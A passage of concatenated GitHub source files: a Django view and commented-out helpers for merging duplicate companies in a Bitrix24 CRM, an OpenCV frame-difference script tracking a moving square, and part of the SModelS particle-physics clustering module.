status=status.HTTP_400_BAD_REQUEST)\r\n\r\n # id компании входит в список игнорирования\r\n if id_company in LIST_COMPANY_IDS_IGNORED:\r\n return Response(f\"The company with the id={id_company} is on the ignore list\", status=status.HTTP_200_OK)\r\n\r\n # добавление ID компании в очередь на объединение\r\n merge_run_task_2.delay(id_company)\r\n\r\n return Response(\"OK\", status=status.HTTP_200_OK)\r\n\r\n\r\n\r\n\r\n\r\n# # возвращает список id компаний с одинаковым ИНН\r\n# def get_list_company_ids_with_same_inn(bx24, id_company):\r\n# result = bx24.batch_2({\r\n# \"halt\": 0,\r\n# \"cmd\": {\r\n# \"INN\": f\"crm.requisite.list?FILTER[ENTITY_ID]={id_company}&FILTER[ENTITY_TYPE_ID]=4\",\r\n# \"COMPANIES\": f\"crm.requisite.list?select[0]=ENTITY_ID&FILTER[RQ_INN]=$result[INN][0][RQ_INN]&FILTER[ENTITY_TYPE_ID]=4\"\r\n# }\r\n# })\r\n#\r\n# if not result or not result.get(\"result\", None) or not result[\"result\"].get(\"result\", None) or \"COMPANIES\" not in result[\"result\"][\"result\"] or \"INN\" not in result[\"result\"][\"result\"]:\r\n# logging.info({\r\n# \"company_id\": id_company,\r\n# \"msg\": f'Could not get company data by INN',\r\n# \"response\": result,\r\n# })\r\n# return None\r\n#\r\n# inn = \"\"\r\n# companies_inn = result[\"result\"][\"result\"].get(\"INN\", [])\r\n# if companies_inn:\r\n# inn = companies_inn[0][\"RQ_INN\"]\r\n#\r\n# companies = result[\"result\"][\"result\"].get(\"COMPANIES\", [])\r\n#\r\n# return inn, [company[\"ENTITY_ID\"] for company in companies]\r\n\r\n\r\n# # формирование комманд на получение данных компаний\r\n# def formation_command_to_receive_company_data(ids):\r\n# cmd = {}\r\n# for ident in ids:\r\n# key_cont = f\"contact{ident}\"\r\n# key_deal = f\"deals{ident}\"\r\n# cmd[ident] = f\"crm.company.get?ID={ident}\"\r\n# cmd[key_cont] = f\"crm.company.contact.items.get?ID={ident}\"\r\n# cmd[key_deal] = f\"crm.deal.list?select[0]=ID&filter[COMPANY_ID]={ident}\"\r\n#\r\n# return cmd\r\n#\r\n#\r\n# # получает ID компании и поля с обновляемыми данными, возвращает сформированный зап��ос обновления компании\r\n# def formation_req_update_data_company(id_real, data):\r\n# command = f\"crm.company.update?ID={id_real}\"\r\n# for field in data:\r\n# if isinstance(data[field], list):\r\n# for index, element in enumerate(data[field]):\r\n# if isinstance(element, dict):\r\n# command += f'&fields[{field}][{index}][VALUE]={element[\"VALUE\"]}'\r\n# command += f'&fields[{field}][{index}][VALUE_TYPE]={element[\"VALUE_TYPE\"]}'\r\n# else:\r\n# command += f'&fields[{field}][{index}][VALUE]={element}'\r\n# else:\r\n# command += f'&fields[{field}]={data[field]}'\r\n#\r\n# return command\r\n#\r\n#\r\n# # получает ID компании и поля с обновляемыми контактами, возвращает сформированный запрос обновления контактов компании\r\n# def formation_req_update_date_contacts(id_real, contacts):\r\n# if isinstance(contacts, list):\r\n# cmd = f'crm.company.contact.items.set?id={id_real}'\r\n# for index, contact in enumerate(contacts):\r\n# cmd += f'&items[{index}][CONTACT_ID]={contact}'\r\n#\r\n# return cmd;\r\n#\r\n#\r\n# # получает ID компании и поля с добавляемыми сделками, возвращает сформированный запрос на обновление привязки компаний к сделке\r\n# def formation_req_get_date_deals(id_real, deals):\r\n# commands = {};\r\n# for deal in deals:\r\n# key = f'deal{deal}'\r\n# commands[key] = f'crm.deal.update?id={deal}&fields[COMPANY_ID]={id_real}'\r\n#\r\n# return commands;\r\n#\r\n#\r\n# # слияние дублей компаний\r\n# def merge_company(bx24, id_real, data):\r\n# cmd = {};\r\n# # формирование запроса на обновление данных о комании - crm.company.update\r\n# if data[\"data\"]:\r\n# cmd[\"data\"] = formation_req_update_data_company(id_real, data[\"data\"])\r\n#\r\n# # формирование запроса на перезапись всех контактов - crm.company.contact.items.set\r\n# if data[\"contacts\"]:\r\n# cmd[\"contacts\"] = formation_req_update_date_contacts(id_real, data[\"contacts\"])\r\n#\r\n# # формирование запроса на перенос всех сделок - crm.deal.update\r\n# if data[\"deals\"]:\r\n# commands = formation_req_get_date_deals(id_real, data[\"deals\"])\r\n# for key in commands:\r\n# cmd[key] = commands[key]\r\n#\r\n# # return cmd\r\n# response = bx24.batch_2({\r\n# \"halt\": 0,\r\n# \"cmd\": cmd\r\n# })\r\n#\r\n# if not response or not response.get(\"result\", None) or not response[\"result\"].get(\"result\", None):\r\n# logging.info({\r\n# \"company_id\": id_real,\r\n# \"msg\": f'Failed to merge companies',\r\n# \"response\": response,\r\n# })\r\n# return None\r\n#\r\n# return response[\"result\"][\"result\"]\r\n#\r\n#\r\n# # проверка вхождения элементов старого массива в новый\r\n# def verification_elements_in_list(lst_real, lst_dupl):\r\n# for elem in lst_dupl:\r\n# if elem not in lst_real:\r\n# return False\r\n#\r\n# return True\r\n#\r\n#\r\n# # проверка вхождения элементов старого массива в новый\r\n# def verification_objects_in_list(lst_obj_real, lst_obj_dupl):\r\n# lst_real = [elem[\"VALUE\"] for elem in lst_obj_real]\r\n# lst_dupl = [elem[\"VALUE\"] for elem in lst_obj_dupl]\r\n# for elem in lst_dupl:\r\n# if elem not in lst_real:\r\n# return False\r\n#\r\n# return True\r\n#\r\n#\r\n# # проверка вхождения элементов старого массива в новый\r\n# def verification_objects_number_in_list(lst_obj_real, lst_obj_dupl):\r\n# lst_real = [\"\".join(re.findall(r'\\d+', elem[\"VALUE\"])) for elem in lst_obj_real]\r\n# lst_dupl = [\"\".join(re.findall(r'\\d+', elem[\"VALUE\"])) for elem in lst_obj_dupl]\r\n# for elem in lst_dupl:\r\n# if elem not in lst_real:\r\n# return False\r\n#\r\n# return True\r\n#\r\n#\r\n# # проверка вхождения элементов старого массива в новый\r\n# def verification_contacts_in_list(lst_obj_real, lst_obj_dupl):\r\n# lst_real = [elem[\"CONTACT_ID\"] for elem in lst_obj_real]\r\n# lst_dupl = [elem[\"CONTACT_ID\"] for elem in lst_obj_dupl]\r\n# for elem in lst_dupl:\r\n# if elem not in lst_real:\r\n# return False\r\n#\r\n# return True\r\n#\r\n#\r\n# # проверка верности объединения компаний\r\n# def verification_merge_company(bx24, id_real, companies_ids, company_data_old):\r\n#\r\n# cmd = formation_command_to_receive_company_data(companies_ids)\r\n#\r\n# result = bx24.batch_2({\r\n# \"halt\": 0,\r\n# \"cmd\": cmd\r\n# })\r\n#\r\n# if not result or not result.get(\"result\", None) or not result[\"result\"].get(\"result\", None):\r\n# logging.info({\r\n# \"company_id\": id_real,\r\n# \"msg\": f'The verification of the merger of companies has not been passed',\r\n# \"response\": result,\r\n# })\r\n# return False, {}\r\n#\r\n# contacts_real = []\r\n# contacts_duplicate = []\r\n# deals_real = []\r\n# deals_duplicate = []\r\n#\r\n# data_duplicate = {}\r\n# data_real = {}\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple_value\"]:\r\n# data_duplicate[field] = []\r\n# data_real[field] = []\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple\"]:\r\n# data_duplicate[field] = []\r\n# data_real[field] = []\r\n#\r\n# for ident in companies_ids:\r\n# key_cont = f\"contact{ident}\"\r\n# key_deal = f\"deals{ident}\"\r\n#\r\n# company = result[\"result\"][\"result\"].get(ident, {})\r\n# response_cont = result[\"result\"][\"result\"].get(key_cont, {})\r\n# response_deal = result[\"result\"][\"result\"].get(key_deal, {})\r\n#\r\n# if id_real != ident:\r\n# contacts_duplicate = contacts_duplicate + response_cont\r\n# deals_duplicate = deals_duplicate + response_deal\r\n#\r\n# if id_real == ident:\r\n# contacts_real = contacts_real + response_cont\r\n# deals_real = deals_real + response_deal\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple_value\"]:\r\n# if id_real != ident:\r\n# data_duplicate[field] = data_duplicate[field] + company.get(field, [])\r\n# if id_real == ident:\r\n# data_real[field] = data_real[field] + company.get(field, [])\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple\"]:\r\n# if id_real != ident:\r\n# data_duplicate[field] = data_duplicate[field] + company.get(field, [])\r\n# if id_real == ident:\r\n# data_real[field] = data_real[field] + company.get(field, [])\r\n#\r\n# status_verif_contacts = verification_contacts_in_list(contacts_real, contacts_duplicate)\r\n# status_verif_deals = True if len(deals_duplicate) == 0 else False\r\n#\r\n# # print(\"status_verif_contacts = \", status_verif_contacts)\r\n# # print(\"status_verif_deals = \", status_verif_deals)\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple_value\"]:\r\n# if field == \"PHONE\":\r\n# verification = verification_objects_number_in_list(data_real[field], data_duplicate[field])\r\n# else:\r\n# verification = verification_objects_in_list(data_real[field], data_duplicate[field])\r\n#\r\n# if not verification:\r\n# logging.error({\r\n# \"company_id\": id_real,\r\n# \"msg\": f'Dont transfer the data of the field \"{field}\"',\r\n# \"data_real\": data_real[field],\r\n# \"data_duplicate\": data_duplicate[field],\r\n# })\r\n# return False, {}\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple\"]:\r\n# if not verification_objects_in_list(data_real[field], data_duplicate[field]):\r\n# logging.error({\r\n# \"company_id\": id_real,\r\n# \"msg\": f'Dont transfer the data of the field \"{field}\"',\r\n# \"data_real\": data_real[field],\r\n# \"data_duplicate\": data_duplicate[field],\r\n# })\r\n# return False, {}\r\n#\r\n# if not status_verif_contacts:\r\n# logging.error({\r\n# \"company_id\": id_real,\r\n# \"msg\": f'Dont transfer contact data',\r\n# \"contacts_real\": contacts_real,\r\n# \"contacts_duplicate\": contacts_duplicate,\r\n#\r\n# })\r\n#\r\n# if not status_verif_deals:\r\n# logging.error({\r\n# \"company_id\": id_real,\r\n# \"msg\": f'Deals not transferred',\r\n# \"deals_duplicate\": \"deals_duplicate\"\r\n# })\r\n#\r\n# if status_verif_contacts and status_verif_deals:\r\n# return True, result\r\n#\r\n# return False, {}\r\n#\r\n#\r\n# # Удаление списка компаний\r\n# def deleteCompanies(bx24, id_real, companies_ids, update_data_company):\r\n# cmd = {};\r\n# for ident in companies_ids:\r\n# if ident != id_real:\r\n# cmd[ident] = f\"crm.company.delete?ID={ident}\"\r\n#\r\n# users = list(set(update_data_company['responsible']))\r\n# domain = service.get_token().get(\"domain\", \"atonlab.bitrix24.ru\")\r\n# url_real_company = f\"https://{domain}/crm/company/details/{id_real}/\"\r\n# for user in users:\r\n# key = f\"MSG{user}\"\r\n# message = f\"Компании {', '.join(update_data_company['title_dupl'])} объединились в компанию {update_data_company['title_real']}\"\r\n# cmd[key] = f\"im.notify.personal.add?USER_ID={user}&MESSAGE={message}&ATTACH[0][LINK][NAME]={update_data_company['title_real']}&ATTACH[0][LINK][DESC]=&ATTACH[0][LINK][LINK]={url_real_company}\"\r\n#\r\n# print(\"cmd = \", cmd)\r\n# response = bx24.batch_2({\r\n# \"halt\": 0,\r\n# \"cmd\": cmd\r\n# })\r\n# print(\"response = \", response)\r\n# if not response or not response.get(\"result\", None) or not response[\"result\"].get(\"result\", None):\r\n# logging.info({\r\n# \"company_id\": id_real,\r\n# \"msg\": f'Unable to remove company duplicates',\r\n# \"response\": response,\r\n# })\r\n# return None\r\n#\r\n# return response[\"result\"][\"result\"]\r\n#\r\n#\r\n# # проверка существования элемента в хранилище\r\n# def storage_exist_elem(elem):\r\n# return redis_instance.exists(elem)\r\n#\r\n#\r\n# # сохранение списка элементов в хранилище\r\n# def storage_entry_list(lst):\r\n# for el in lst:\r\n# redis_instance.set(el, el)\r\n#\r\n#\r\n# # удаление списка элементов из хранилища\r\n# def storage_deleting_list(lst):\r\n# for el in lst:\r\n# redis_instance.delete(el)\r\n\r\n\r\n\r\n # def post(self, request):\r\n # # logging.info(request.data)\r\n # event = request.data.get(\"event\", \"\")\r\n # id_company = request.data.get(\"data[FIELDS][ID]\", None)\r\n # # storage_deleting_list([id_company])\r\n # logging.info({\r\n # \"event\": event,\r\n # \"id_company\": id_company\r\n # })\r\n #\r\n # # не передано id компании\r\n # if not id_company:\r\n # return Response(\"Not transferred ID company\", status=status.HTTP_400_BAD_REQUEST)\r\n #\r\n # # id компании входит в список игнорирования\r\n # if id_company in LIST_COMPANY_IDS_IGNORED:\r\n # return Response(f\"The company with the id={id_company} is on the ignore list\", status=status.HTTP_200_OK)\r\n #\r\n # merge_run_task.delay(id_company)\r\n #\r\n # # # проверка - компания уже редактируется\r\n # # if storage_exist_elem(id_company):\r\n # # # raise MyException(f\"The company with the id={id_company} is already being edited\")\r\n # # return Response(f\"The company with the id={id_company} is already being edited\", status=status.HTTP_200_OK)\r\n # #\r\n # # try:\r\n # # inn, companies_ids = get_list_company_ids_with_same_inn(self.bx24, id_company)\r\n # # companies_ids = list(set(companies_ids))\r\n # #\r\n # # id_real = min(companies_ids, key=int)\r\n # # # storage_entry_list(companies_ids)\r\n # #\r\n # # # у копании отсутствует ИНН\r\n # # if not inn or len(inn) < 5:\r\n # # raise MyException(f\"The company with the id={id_company} does not have a INN\")\r\n # # # return Response(f\"The company with the id={id_company} does not have a INN\", status=status.HTTP_400_BAD_REQUEST)\r\n # #\r\n # # # id компании входит в список игнорирования\r\n # # if inn in LIST_COMPANY_INN_IGNORED:\r\n # # raise MyException(f\"The company with the id={id_company} and inn={inn} is on the ignore list\")\r\n # # # return Response(f\"The company with the id={id_company} and inn={inn} is on the ignore list\", status=status.HTTP_200_OK)\r\n # #\r\n # # # !!!!!!!!!!ВРЕМЕННО ЗАКОММЕНТИРУЕМ\r\n # # # отсутствуют дубли компании\r\n # # if len(companies_ids) < 2:\r\n # # raise MyException(f\"Company duplicates with id={id_company} missing\")\r\n # # # return Response(f\"Company duplicates with id={id_company} missing\", status=status.HTTP_400_BAD_REQUEST)\r\n # #\r\n # # # количество дубликатов компании более 4\r\n # # if len(companies_ids) > 4:\r\n # # raise MyException(f\"Number of companies with the same INN more than four\")\r\n # # # return Response(f\"Number of companies with the same INN more than four\", status=status.HTTP_400_BAD_REQUEST)\r\n # #\r\n # # # сохранение списка компаний в хранилище на время объединения\r\n # # storage_entry_list(companies_ids)\r\n # #\r\n # # # получение данных компаний из Битрикс\r\n # # updated_company_data = get_data_companies(self.bx24, companies_ids)\r\n # #\r\n # # # id_real = min(companies_ids, key=int)\r\n # #\r\n # # # объединение компаний\r\n # # result_merge = merge_company(self.bx24, id_real, updated_company_data)\r\n # # if not result_merge:\r\n # # raise MyException(f\"Merger company failed\")\r\n # #\r\n # # # pprint.pprint(result_merge)\r\n # #\r\n # # # проверка объединения компаний\r\n # # verification_merge, data_update = verification_merge_company(self.bx24, id_real, companies_ids, updated_company_data)\r\n # #\r\n # # # verification_merge = True\r\n # # if verification_merge:\r\n # # deleteCompanies(self.bx24, id_real, companies_ids, updated_company_data)\r\n # #\r\n # # companies_ids.append(id_real)\r\n # # storage_deleting_list(companies_ids)\r\n # #\r\n # # logging.info({\r\n # # \"event\": event,\r\n # # \"id_company\": id_company,\r\n # # \"data_update\": data_update,\r\n # # })\r\n # # return Response(\"OK\", status=status.HTTP_200_OK)\r\n # #\r\n # # except MyException as err:\r\n # #\r\n # # companies_ids.append(id_real)\r\n # # storage_deleting_list(companies_ids)\r\n # # return Response(err.args[0], status=status.HTTP_400_BAD_REQUEST)\r\n # #\r\n # # except Exception as err:\r\n # #\r\n # # companies_ids.append(id_real)\r\n # # storage_deleting_list(companies_ids)\r\n # # print(\"Error = \", err)\r\n # # return Response(err.args[0], status=status.HTTP_400_BAD_REQUEST)\r\n # #\r\n # #\r\n # return Response(\"OK\", status=status.HTTP_200_OK)\r\n\r\n\r\n# # получение данных компаний\r\n# def get_data_companies(bx24, companies_ids):\r\n# id_real = min(companies_ids, key=int)\r\n# cmd = formation_command_to_receive_company_data(companies_ids)\r\n# result = bx24.batch_2({\r\n# \"halt\": 0,\r\n# \"cmd\": cmd\r\n# })\r\n#\r\n# if not result or not result.get(\"result\", None) or not result[\"result\"].get(\"result\", None):\r\n# logging.info({\r\n# \"company_id\": id_real,\r\n# \"msg\": f'Failed to get duplicate companies',\r\n# \"response\": result,\r\n# })\r\n# return None\r\n#\r\n# data_real = {}\r\n# data_duplicate = {}\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple_value\"]:\r\n# data_duplicate[field] = []\r\n# data_real[field] = []\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple\"]:\r\n# data_duplicate[field] = []\r\n# data_real[field] = []\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"single\"]:\r\n# data_duplicate[field] = []\r\n# data_real[field] = None\r\n#\r\n# data_deals_real = []\r\n# data_deals_duplicate = []\r\n# data_contacts_real = []\r\n# data_contacts_duplicate = []\r\n#\r\n# for ident in companies_ids:\r\n# key_cont = f\"contact{ident}\"\r\n# key_deal = f\"deals{ident}\"\r\n# company = result[\"result\"][\"result\"].get(ident, {})\r\n# response_cont = result[\"result\"][\"result\"].get(key_cont, {})\r\n# response_deal = result[\"result\"][\"result\"].get(key_deal, {})\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple_value\"]:\r\n# lst = [elem[\"VALUE\"] for elem in company.get(field, [])]\r\n# if id_real != ident:\r\n# data_duplicate[field] += data_duplicate[field] + lst\r\n# if id_real == ident:\r\n# data_real[field] += data_real[field] + lst\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple\"]:\r\n# lst = [elem for elem in company.get(field, [])]\r\n# if id_real != ident:\r\n# data_duplicate[field] += data_duplicate[field] + lst\r\n# if id_real == ident:\r\n# data_real[field] += data_real[field] + lst\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"single\"]:\r\n# value = company.get(field, None)\r\n# if id_real != ident and value:\r\n# data_duplicate[field].append(value)\r\n# if id_real == ident:\r\n# data_real[field] = value\r\n#\r\n# deals = [deal[\"ID\"] for deal in response_deal]\r\n# contacts = [contact[\"CONTACT_ID\"] for contact in response_cont]\r\n#\r\n# if id_real != ident:\r\n# data_deals_duplicate = data_deals_duplicate + deals\r\n# data_contacts_duplicate = data_contacts_duplicate + contacts\r\n#\r\n# if id_real == ident:\r\n# data_deals_real = data_deals_real + deals\r\n# data_contacts_real = data_contacts_real + contacts\r\n#\r\n# data_company = {}\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple_value\"]:\r\n# data_company[field] = data_duplicate[field] + data_real[field]\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"multiple\"]:\r\n# data_company[field] = data_duplicate[field] + data_real[field]\r\n#\r\n# for field in FIELDS_COMPANIES_LISST[\"single\"]:\r\n# if not data_real[field] and len(data_duplicate[field]) > 0:\r\n# data_company[field] = data_duplicate[field][0]\r\n#\r\n# return {\r\n# \"deals\": data_deals_duplicate, # crm.deal.update\r\n# \"contacts\": data_contacts_duplicate + data_contacts_real, # crm.company.contact.items.set\r\n# \"data\": data_company, # crm.company.update\r\n# \"responsible\": data_duplicate[\"ASSIGNED_BY_ID\"] + data_duplicate[\"CREATED_BY_ID\"] + [data_real[\"ASSIGNED_BY_ID\"], data_real[\"CREATED_BY_ID\"]],\r\n# \"title_real\": data_real[\"TITLE\"],\r\n# \"title_dupl\": data_duplicate[\"TITLE\"],\r\n# }\r\n#\r\n#\r\n","repo_name":"Oleg-Sl/bx24_mergecompany","sub_path":"merge_duplicate_companies/mergecompaniesapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":26536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15831343324","text":"import cv2\nimport imageio\n\n# 可调参数\nwin_size_half = 50 # RIO窗口大小的一般,例如设置为50,则RIO窗口大小为100×100\nwin_center = [330, 240] # RIO窗口的中心点\n\nin_range_min = 20 # inRange函数的灰度最小值\nkernel_size = (7, 7) # 形态学开运算的kernel大小\n\nradius_threshold_min = 15 # 筛选方块的外接圆半径最小值\nradius_threshold_max = 51 # 筛选方块的外接圆半径最大值\n\nidentify_count = 0 # ROI窗口检测到疑似方块的次数\nidentify_count_threshold = 12 # ROI窗口检测到疑似方块的次数 > identify_count_threshold才认为真正检测到方块\n\ncolor = (0, 0, 255) # 绘制结果统一采用红色\n\nimg_list = []\n\nif __name__ == '__main__':\n # 参考帧为第一帧\n ref_img = cv2.imread('./imgs/0.png', cv2.IMREAD_UNCHANGED)\n img_height, img_width = ref_img.shape\n\n # 对其余帧进行遍历检测方块\n for i in range(1, 737):\n # ============================================================\n # 读取当前帧\n current_img = cv2.imread('./imgs/{}.png'.format(i), cv2.IMREAD_UNCHANGED)\n # current_img = cv2.imread('./imgs/160.png'.format(i), cv2.IMREAD_UNCHANGED)\n # 与参考帧比较\n frame_diff = cv2.absdiff(ref_img, current_img)\n\n # ============================================================\n # 设置ROI,并绘制矩形框\n # (x, y)\n top_left = (\n {True: win_center[0] - win_size_half, False: 0}[win_center[0] - win_size_half >= 0],\n {True: win_center[1] - win_size_half, False: 0}[win_center[1] - win_size_half >= 0]\n )\n down_right = (\n {True: win_center[0] + win_size_half, False: img_width - 1}[win_center[0] + win_size_half <= img_width - 1],\n {True: win_center[1] + win_size_half, False: img_height - 1}[\n win_center[1] + win_size_half <= img_height - 1]\n )\n # 从原图中获取H范围,W范围\n frame_diff_roi = frame_diff[top_left[1]:down_right[1], top_left[0]:down_right[0]]\n\n # ============================================================\n # 二值化\n frame_diff_roi_bin = cv2.inRange(frame_diff_roi, in_range_min, frame_diff_roi.max().item())\n # 形态学运算\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT, kernel_size)\n frame_diff_roi_bin = cv2.morphologyEx(frame_diff_roi_bin, cv2.MORPH_OPEN, kernel)\n\n # ============================================================\n # 查找轮廓\n _, contours, _ = cv2.findContours(frame_diff_roi_bin, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n # 绘制轮廓\n frame_diff_roi_bin_color = cv2.cvtColor(frame_diff_roi_bin, cv2.COLOR_GRAY2BGR)\n cv2.drawContours(frame_diff_roi_bin_color, contours, -1, color, 2)\n\n # ============================================================\n # 将当前图片转为彩色图,标注ROI区域和检测出的方块区域\n current_img = cv2.normalize(current_img, None, 0, 255, cv2.NORM_MINMAX, cv2.CV_8UC1)\n current_img_color = cv2.cvtColor(current_img, cv2.COLOR_GRAY2BGR)\n cv2.rectangle(current_img_color, top_left, down_right, color, 2)\n # 求最小外接圆\n for j in range(0, len(contours)):\n center, radius = cv2.minEnclosingCircle(contours[j])\n # 确认是方块\n if radius_threshold_min <= radius <= radius_threshold_max:\n identify_count += 1\n if identify_count > identify_count_threshold:\n # 更新ROI窗\n win_center[0] = (win_center[0] - win_size_half) + int(center[0])\n win_center[1] = (win_center[1] - win_size_half) + int(center[1])\n # cv2.circle(frame_diff_roi_bin_color, (int(center[0]), int(center[1])), int(radius), color, 2)\n cv2.circle(current_img_color, tuple(win_center), int(radius), color, 2)\n break\n if radius > radius_threshold_max:\n print(center, radius)\n\n img_list.append(cv2.cvtColor(current_img_color, cv2.COLOR_BGR2RGB))\n\n # 图像显示\n # ref_img = cv2.normalize(ref_img, None, 0, 255, cv2.NORM_MINMAX, cv2.CV_8UC1)\n frame_diff = cv2.normalize(frame_diff, None, 0, 255, cv2.NORM_MINMAX, cv2.CV_8UC1)\n frame_diff_roi = cv2.normalize(frame_diff_roi, None, 0, 255, cv2.NORM_MINMAX, cv2.CV_8UC1)\n # frame_diff_roi_bin = cv2.normalize(frame_diff_roi_bin, None, 0, 255, cv2.NORM_MINMAX, cv2.CV_8UC1)\n # cv2.imshow('ref_img', ref_img)\n cv2.imshow('current_img_color', current_img_color)\n cv2.imshow('frame_diff', frame_diff)\n cv2.imshow('frame_diff_roi', frame_diff_roi)\n # cv2.imshow('frame_diff_roi_bin', frame_diff_roi_bin)\n cv2.imshow('frame_diff_roi_bin_color', frame_diff_roi_bin_color)\n\n cv2.imwrite('./result/{}.png'.format(i), current_img_color)\n\n cv2.waitKey(30)\n # cv2.destroyWindow('ref_img')\n # cv2.destroyWindow('current_img')\n # cv2.destroyWindow('frame_diff')\n # cv2.destroyWindow('frame_diff_roi')\n # cv2.destroyWindow('frame_diff_roi_bin')\n\n imageio.mimsave('./result/video_result.gif', img_list, fps=60)","repo_name":"ZengZhiK/IdentifySquares","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6007237186","text":"\"\"\"\n.. module:: clusterTools\n :synopsis: Module holding the ElementCluster class and cluster methods used to combine similar elements according\n to the analysis.\n\n.. moduleauthor:: Andre Lessa \n\n\"\"\"\n\nfrom smodels.theory import crossSection\nfrom smodels.theory.element import Element\nfrom smodels.experiment.datasetObj import DataSet,CombinedDataSet\nfrom smodels.tools.physicsUnits import fb\nfrom smodels.theory.exceptions import SModelSTheoryError as SModelSError\nfrom smodels.theory.auxiliaryFunctions import average\nimport numpy as np\nfrom smodels.tools.smodelsLogging import logger\n\n\nclass AverageElement(Element):\n \"\"\"\n Represents an element or list of elements containing only\n the basic attributes required for clustering or computing efficiencies/upper limits.\n Its properties are given by the average properties of the elements\n it represents and its weight is given by the total weight of\n all elements.\n \"\"\"\n\n def __init__(self,elements=[]):\n if any(not isinstance(el,Element) for el in elements):\n raise SModelSError(\"An AverageElement must be created from a list of Element objects.\")\n\n #Define relevant properties to be stored and averaged over:\n self.properties=['mass','totalwidth','txname']\n self.elements = elements[:]\n if self.elements:\n for attr in self.properties:\n setattr(self,attr,self.getAverage(attr))\n self.weight = self.elements[0].weight.copy()\n for el in self.elements[1:]:\n self.weight += el.weight\n\n def __str__(self):\n \"\"\"\n Simply returns \"averageElement\", since the element\n has no well defined branches/final states (in general).\n\n :returns: averageElement (string)\n \"\"\"\n\n return \"averageElement\"\n\n\n def __cmp__(self,other):\n \"\"\"\n Compares the element with other. Only the properties\n defined in self.properties are used for comparison.\n :param other: element to be compared (Element or AverageElement object)\n :return: -1 if self < other, 0 if self == other, +1, if self > other.\n \"\"\"\n\n if not isinstance(other,(Element,AverageElement)):\n return -1\n\n otherProperties = [getattr(other,attr) for attr in self.properties]\n selfProperties = [getattr(self,attr) for attr in self.properties]\n comp = (selfProperties > otherProperties) - (otherProperties > selfProperties)\n\n return comp\n\n def __eq__(self,other):\n return self.__cmp__(other)==0\n\n def __lt__(self,other):\n return self.__cmp__(other)<0\n\n def __gt__(self,other):\n return self.__cmp__(other)>0\n\n def __neq__(self,other):\n return not self.__eq__(other)\n\n def __getattr__(self, attr):\n \"\"\"\n Returns the attribute of self (necessary to overwrite the Element\n class method).\n\n :param attr: Attribute name\n\n :return: Attribute value\n \"\"\"\n\n if not attr in self.__dict__:\n raise AttributeError ( \"%s not in AverageElement\" % attr )\n else:\n return self.__dict__[attr]\n\n def getAverage(self,attribute,weighted=True,nround=5):\n \"\"\"\n Compute the average value for the attribute using\n the elements in self.elements.\n If weighted = True, compute the weighted average\n using the elements weights.\n\n :param attribute: Name of attribute to be averaged over (string)\n :param weighted: If True, uses the element weights to compute a weighted average\n :param nround: If greater than zero and the returning attibute is numeric, will round it\n to this number of significant digits.\n\n :return: Average value of attribute.\n \"\"\"\n\n if not self.elements:\n return None\n if len(self.elements) == 1:\n return getattr(self.elements[0],attribute)\n\n values = [getattr(el,attribute) for el in self.elements]\n if weighted:\n weights = [el.weight.getMaxXsec().asNumber(fb) for el in self.elements]\n else:\n weights = [1.]*len(self.elements)\n return average(values,weights,nround)\n\n def contains(self,element):\n \"\"\"\n Check if the average element contains the element\n\n :param element: Element object\n\n :return: True/False\n \"\"\"\n\n if any(el is element for el in self.elements):\n return True\n return False\n\n\nclass ElementCluster(object):\n \"\"\"\n An instance of this class represents a cluster of elements.\n This class is used to store the relevant information about a cluster of\n elements and to manipulate this information.\n \"\"\"\n\n def __init__(self, elements = [], dataset = None, distanceMatrix = None):\n\n self.elements = elements\n self.dataset = dataset\n self.maxInternalDist = 0.\n self._distanceMatrix = distanceMatrix\n #Compute maximal internal distance\n if self.elements and not self._distanceMatrix is None:\n self.maxInternalDist = max([self.getDistanceTo(el) for el in self])\n\n def __eq__(self, other):\n\n if type(self) != type(other):\n return False\n elif set(self.indices()) != set(other.indices()):\n return False\n else:\n return True\n\n def __iter__(self):\n return iter(self.elements)\n\n def __getitem__(self, iel):\n return self.elements[iel]\n\n def __len__(self):\n return len(self.elements)\n\n def __str__(self):\n return str(self.elements)\n\n def __repr__(self):\n return str(self.elements)\n\n def indices(self):\n \"\"\"\n Return a list of element indices appearing in cluster\n \"\"\"\n\n indices = [el._index for el in self]\n\n return indices\n\n def getTotalXSec(self):\n \"\"\"\n Return the sum over the cross sections of all elements belonging to\n the cluster.\n\n :returns: sum of weights of all the elements in the cluster (XSectionList object)\n \"\"\"\n totxsec = crossSection.XSectionList()\n for el in self:\n totxsec += el.weight\n if len(totxsec) != 1:\n logger.error(\"Cluster total cross section should have a single value\")\n raise SModelSError()\n return totxsec[0]\n\n def getDataType(self):\n \"\"\"\n Checks to which type of data (efficiency map or upper limit)\n the cluster refers to. It uses the cluster.dataset attribute.\n If not defined, returns None\n :return: upperLimits or efficiencyMap (string)\n \"\"\"\n\n if self.dataset:\n dataType = self.dataset.getType()\n else:\n dataType = None\n\n return dataType\n\n def averageElement(self):\n \"\"\"\n Computes the average element for the cluster.\n The average element is an empty element,\n but with its mass and width given by the average over the cluster elements.\n\n :return: Element object\n \"\"\"\n\n avgEl = AverageElement(self.elements[:])\n if self.dataset:\n avgEl._upperLimit = self.dataset.getUpperLimitFor(avgEl,\n txnames=avgEl.txname)\n\n avgEl._index = None\n return avgEl\n\n def copy(self):\n \"\"\"\n Returns a copy of the index cluster (faster than deepcopy).\n \"\"\"\n\n newcluster = 